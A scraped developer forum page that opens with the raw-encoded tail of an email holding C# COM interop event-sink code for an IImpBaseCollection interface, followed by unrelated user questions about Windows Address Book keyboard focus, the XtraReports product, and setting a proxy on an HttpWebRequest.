<P><FONT size=3D2><FONT color=3D#0000ff>get</FONT>;</FONT></P>
<P><FONT size=3D2>}</FONT></P>
<P><FONT size=3D2>}</FONT></P>
<P><FONT size=3D2><FONT color=3D#808080>///</FONT><FONT color=3D#008000> =
</FONT><FONT=20
color=3D#808080><summary><para></FONT><FONT =
color=3D#008000>Delegate for=20
handling </FONT><FONT color=3D#808080><c></FONT><FONT=20
color=3D#008000>Item</FONT><FONT color=3D#808080></c></FONT><FONT=20
color=3D#008000> event of </FONT><FONT =
color=3D#808080><c></FONT><FONT=20
color=3D#008000>IImpBaseCollection</FONT><FONT=20
color=3D#808080></c></FONT><FONT color=3D#008000> =
interface.</FONT><FONT=20
color=3D#808080></para></summary></P></FONT></FONT>
<P><FONT size=3D2><FONT color=3D#808080>///</FONT><FONT color=3D#008000> =
</FONT><FONT=20
color=3D#808080><remarks><para></FONT><FONT =
color=3D#008000>An original=20
IDL definition of </FONT><FONT color=3D#808080><c></FONT><FONT=20
color=3D#008000>Item</FONT><FONT color=3D#808080></c></FONT><FONT=20
color=3D#008000> event was the following: </FONT><FONT=20
color=3D#808080><c></FONT><FONT color=3D#008000>HRESULT=20
IImpBaseCollection_ItemEventHandler (VARIANT nIndex, [out, retval] =
IDispatch**=20
ReturnValue)</FONT><FONT color=3D#808080></c></FONT><FONT=20
color=3D#008000>;</FONT><FONT=20
color=3D#808080></para></remarks></P></FONT></FONT>
<P><FONT color=3D#008000><FONT size=3D2>// IDL: HRESULT=20
IImpBaseCollection_ItemEventHandler (VARIANT nIndex, [out, retval] =
IDispatch**=20
ReturnValue);</FONT></P></FONT>
<P><FONT color=3D#008000><FONT size=3D2>// VB6: Function=20
IImpBaseCollection_ItemEventHandler (ByVal nIndex As Any) As=20
IDispatch</FONT></P></FONT>
<P><FONT size=3D2>[<FONT color=3D#0000ff>return</FONT>:=20
MarshalAs(UnmanagedType.IDispatch)]</FONT></P>
<P><FONT size=3D2><FONT color=3D#0000ff>public</FONT> <FONT=20
color=3D#0000ff>delegate</FONT> <FONT color=3D#0000ff>object</FONT>=20
IImpBaseCollection_ItemEventHandler (<FONT color=3D#0000ff>object</FONT> =
nIndex);</FONT></P>
<P><FONT size=3D2><FONT color=3D#808080>///</FONT><FONT color=3D#008000> =
</FONT><FONT=20
color=3D#808080><summary><para></FONT><FONT =
color=3D#008000>Delegate for=20
handling </FONT><FONT color=3D#808080><c></FONT><FONT=20
color=3D#008000>_NewEnum</FONT><FONT =
color=3D#808080></c></FONT><FONT=20
color=3D#008000> event of </FONT><FONT =
color=3D#808080><c></FONT><FONT=20
color=3D#008000>IImpBaseCollection</FONT><FONT=20
color=3D#808080></c></FONT><FONT color=3D#008000> =
interface.</FONT><FONT=20
color=3D#808080></para></summary></P></FONT></FONT>
<P><FONT size=3D2><FONT color=3D#808080>///</FONT><FONT color=3D#008000> =
</FONT><FONT=20
color=3D#808080><remarks><para></FONT><FONT =
color=3D#008000>An original=20
IDL definition of </FONT><FONT color=3D#808080><c></FONT><FONT=20
color=3D#008000>_NewEnum</FONT><FONT =
color=3D#808080></c></FONT><FONT=20
color=3D#008000> event was the following: </FONT><FONT=20
color=3D#808080><c></FONT><FONT color=3D#008000>HRESULT=20
IImpBaseCollection__NewEnumEventHandler ([out, retval] IUnknown**=20
ReturnValue)</FONT><FONT color=3D#808080></c></FONT><FONT=20
color=3D#008000>;</FONT><FONT=20
color=3D#808080></para></remarks></P></FONT></FONT>
<P><FONT color=3D#008000><FONT size=3D2>// IDL: HRESULT=20
IImpBaseCollection__NewEnumEventHandler ([out, retval] IUnknown**=20
ReturnValue);</FONT></P></FONT>
<P><FONT color=3D#008000><FONT size=3D2>// VB6: Function=20
IImpBaseCollection__NewEnumEventHandler As IUnknown</FONT></P></FONT>
<P><FONT size=3D2>[<FONT color=3D#0000ff>return</FONT>:=20
MarshalAs(UnmanagedType.IUnknown)]</FONT></P>
<P><FONT size=3D2><FONT color=3D#0000ff>public</FONT> <FONT=20
color=3D#0000ff>delegate</FONT> <FONT color=3D#0000ff>object</FONT>=20
IImpBaseCollection__NewEnumEventHandler () <FONT color=3D#008000>/* =
property get=20
method */</FONT>;</FONT></P>
<P><FONT size=3D2><FONT color=3D#808080>///</FONT><FONT color=3D#008000> =
</FONT><FONT=20
color=3D#808080><summary><para></FONT><FONT =
color=3D#008000>Declaration=20
of events of </FONT><FONT color=3D#808080><c></FONT><FONT=20
color=3D#008000>IImpBaseCollection</FONT><FONT=20
color=3D#808080></c></FONT><FONT color=3D#008000> source=20
interface.</FONT><FONT=20
color=3D#808080></para></summary></P></FONT></FONT>
<P><FONT size=3D2>[ComEventInterface(<FONT=20
color=3D#0000ff>typeof</FONT>(IImpBaseCollection),<FONT=20
color=3D#0000ff>typeof</FONT>(IImpBaseCollection_EventProvider))]</FONT><=
/P>
<P><FONT size=3D2>[ComVisible(<FONT =
color=3D#0000ff>false</FONT>)]</FONT></P>
<P><FONT size=3D2><FONT color=3D#0000ff>public</FONT> <FONT=20
color=3D#0000ff>interface</FONT> IImpBaseCollection_Event</FONT></P>
<P><FONT size=3D2>{</FONT></P>
<P><FONT size=3D2><FONT color=3D#808080>///</FONT><FONT color=3D#008000> =
</FONT><FONT=20
color=3D#808080><summary><para><c></FONT><FONT=20
color=3D#008000>Item</FONT><FONT color=3D#808080></c></FONT><FONT=20
color=3D#008000> event of </FONT><FONT =
color=3D#808080><c></FONT><FONT=20
color=3D#008000>IImpBaseCollection</FONT><FONT=20
color=3D#808080></c></FONT><FONT color=3D#008000> =
interface.</FONT><FONT=20
color=3D#808080></para></summary></P></FONT></FONT>
<P><FONT size=3D2><FONT color=3D#0000ff>event</FONT>=20
IImpBaseCollection_ItemEventHandler Item;</FONT></P>
<P><FONT size=3D2><FONT color=3D#808080>///</FONT><FONT color=3D#008000> =
</FONT><FONT=20
color=3D#808080><summary><para><c></FONT><FONT=20
color=3D#008000>_NewEnum</FONT><FONT =
color=3D#808080></c></FONT><FONT=20
color=3D#008000> event of </FONT><FONT =
color=3D#808080><c></FONT><FONT=20
color=3D#008000>IImpBaseCollection</FONT><FONT=20
color=3D#808080></c></FONT><FONT color=3D#008000> =
interface.</FONT><FONT=20
color=3D#808080></para></summary></P></FONT></FONT>
<P><FONT size=3D2><FONT color=3D#0000ff>event</FONT>=20
IImpBaseCollection__NewEnumEventHandler _NewEnum;</FONT></P>
<P><FONT size=3D2>}</FONT></P>
<P><FONT size=3D2>[ClassInterface(ClassInterfaceType.None)]</FONT></P>
<P><FONT color=3D#0000ff><STRONG>internal class =
IImpBaseCollection_SinkHelper:=20
IImpBaseCollection</STRONG></FONT></P>
<P><FONT size=3D2>{</FONT></P>
<P><FONT size=3D2><FONT color=3D#0000ff>public</FONT> <FONT =
color=3D#0000ff>int</FONT>=20
Cookie =3D 0;</FONT></P>
<P><FONT size=3D2><FONT color=3D#0000ff>public</FONT> <FONT=20
color=3D#0000ff>event</FONT> IImpBaseCollection_ItemEventHandler =
ItemDelegate =3D=20
<FONT color=3D#0000ff>null</FONT>;</FONT></P>
<P><FONT size=3D2><FONT color=3D#0000ff>public</FONT> <FONT=20
color=3D#0000ff>void</FONT> =
Set_ItemDelegate(IImpBaseCollection_ItemEventHandler=20
deleg)</FONT></P>
<P><FONT size=3D2>{</FONT></P>
<P><FONT size=3D2>ItemDelegate =3D deleg;</FONT></P>
<P><FONT size=3D2>}</FONT></P>
<P><FONT size=3D2><FONT color=3D#0000ff>public</FONT> <FONT=20
color=3D#0000ff>bool</FONT> =
Is_ItemDelegate(IImpBaseCollection_ItemEventHandler=20
deleg)</FONT></P>
<P><FONT size=3D2>{</FONT></P>
<P><FONT size=3D2><FONT color=3D#0000ff>return</FONT> (ItemDelegate =
=3D=3D=20
deleg);</FONT></P>
<P><FONT size=3D2>}</FONT></P>
<P><FONT size=3D2><FONT color=3D#0000ff>public</FONT> <FONT=20
color=3D#0000ff>void</FONT> Clear_ItemDelegate()</FONT></P>
<P><FONT size=3D2>{</FONT></P>
<P><FONT size=3D2>ItemDelegate =3D <FONT =
color=3D#0000ff>null</FONT>;</FONT></P>
<P><FONT size=3D2>}</FONT></P>
<P><STRONG><FONT color=3D#ff0000>void Item (object =
nIndex)</FONT></STRONG></P>
<P><STRONG><FONT color=3D#ff0000>{</FONT></STRONG></P>
<P><STRONG><FONT color=3D#ff0000>if =
(ItemDelegate!=3Dnull)</FONT></STRONG></P>
<P><STRONG><FONT =
color=3D#ff0000>ItemDelegate(nIndex);</FONT></STRONG></P>
<P><STRONG><FONT color=3D#ff0000>}</FONT></STRONG></P>
<P><FONT size=3D2><FONT color=3D#0000ff>public</FONT> <FONT=20
color=3D#0000ff>event</FONT> IImpBaseCollection__NewEnumEventHandler=20
_NewEnumDelegate =3D <FONT color=3D#0000ff>null</FONT>;</FONT></P>
<P><FONT size=3D2><FONT color=3D#0000ff>public</FONT> <FONT=20
color=3D#0000ff>void</FONT>=20
Set__NewEnumDelegate(IImpBaseCollection__NewEnumEventHandler =
deleg)</FONT></P>
<P><FONT size=3D2>{</FONT></P>
<P><FONT size=3D2>_NewEnumDelegate =3D deleg;</FONT></P>
<P><FONT size=3D2>}</FONT></P>
<P><FONT size=3D2><FONT color=3D#0000ff>public</FONT> <FONT=20
color=3D#0000ff>bool</FONT>=20
Is__NewEnumDelegate(IImpBaseCollection__NewEnumEventHandler =
deleg)</FONT></P>
<P><FONT size=3D2>{</FONT></P>
<P><FONT size=3D2><FONT color=3D#0000ff>return</FONT> (_NewEnumDelegate =
=3D=3D=20
deleg);</FONT></P>
<P><FONT size=3D2>}</FONT></P>
<P><FONT size=3D2><FONT color=3D#0000ff>public</FONT> <FONT=20
color=3D#0000ff>void</FONT> Clear__NewEnumDelegate()</FONT></P>
<P><FONT size=3D2>{</FONT></P>
<P><FONT size=3D2>_NewEnumDelegate =3D <FONT =
color=3D#0000ff>null</FONT>;</FONT></P>
<P><FONT size=3D2>}</FONT></P>
<P><FONT size=3D2><FONT color=3D#0000ff>void</FONT> _NewEnum () <FONT=20
color=3D#008000>/* property get method */</P></FONT></FONT>
<P><FONT size=3D2>{</FONT></P>
<P><FONT size=3D2><FONT color=3D#0000ff>if</FONT> =
(_NewEnumDelegate!=3D<FONT=20
color=3D#0000ff>null</FONT>)</FONT></P>
<P><FONT size=3D2>_NewEnumDelegate();</FONT></P>
<P><FONT size=3D2>}</FONT></P>
<P><FONT size=3D2>}</FONT><FONT size=3D1></P></FONT></DIV></BODY></HTML>
------=_NextPart_000_000B_01C383D6.38C91C90--
- 11
- Net Framework >> Is this s bug?Hi All
I have one query, and need urgent help here. It is related with Windows
Address
Book(WAB). Suppose I open a link to WAB through my application's (developed
in VC++) dialog box. Now, if I get the focus back on my dialog box with the
WAB still opened(not in focus though), I cannot navigate through the
controls in my dialog box through the TAB key. Also, ENTER key does not
work. But the dialog box starts responding to the TAB and ENTER keys as soon
as WAB is closed. Why is it happening like this. I had downloaded a sample
WAB program from www.microsoft.com and this program too had the same
problem. I want to know if it is a bug or a normal behavior in VC++ and WAB
integration. Is there any workaround to this problem.
Thanks for your time.
Regards,
AA
- 12
- 13
- Dotnet >> XtraReports?Anyone is using XtraReports from www.devexpress.com?
Seems like a great piece of software and the price is right. Comments,
opinions?
Thanks!
- 14
- 15
- Net Framework >> Calling URL through Proxy server(Address and Port)/Proxy ScriptHi All,
i m develpoing a .net Window application which has
4 texboxes(tbxURLmfor URL in URL Frame,tbxAddress for address in Proxy
server frame,tbxPort for port in proxy server frame,tbxProxyScript for proxy
script in proxy script frame) and a test button..The requirment is given below
STEP BY STEP GUIDE
1. Input the URL you want to test
2. Choose Proxy script/Proxy server with Address and Port Information/No proxy
3. Enter url to proxy script or info for proxy server in respective text box
4. Press test-button
---------------My Code is -------------------------------------------------
DateTime dt1 = DateTime.Now;
System.Net.HttpWebRequest myReq =
(HttpWebRequest)WebRequest.Create(tbxURL.Text.ToString());
//GetResponse for this request.
HttpWebResponse response = (HttpWebResponse)myReq.GetResponse();
DateTime dt2 = DateTime.Now;
lblTimeTaken.Text = Convert.ToString(dt2.Subtract(dt1));
--------------------------------------------------------------------
in this code , i m unable to set the value of proxy script textbox ,if any
or proxy server(Address and port) ,only thing which i do threough this code
is sending the url without any proxyscript ans proxy server(address and port
info) Can anybody tell me how can i do this thorugh the code....
..
i m working on window application as i need *.exe file rather than install
file ....
Thanks,
Deepak
|
|
|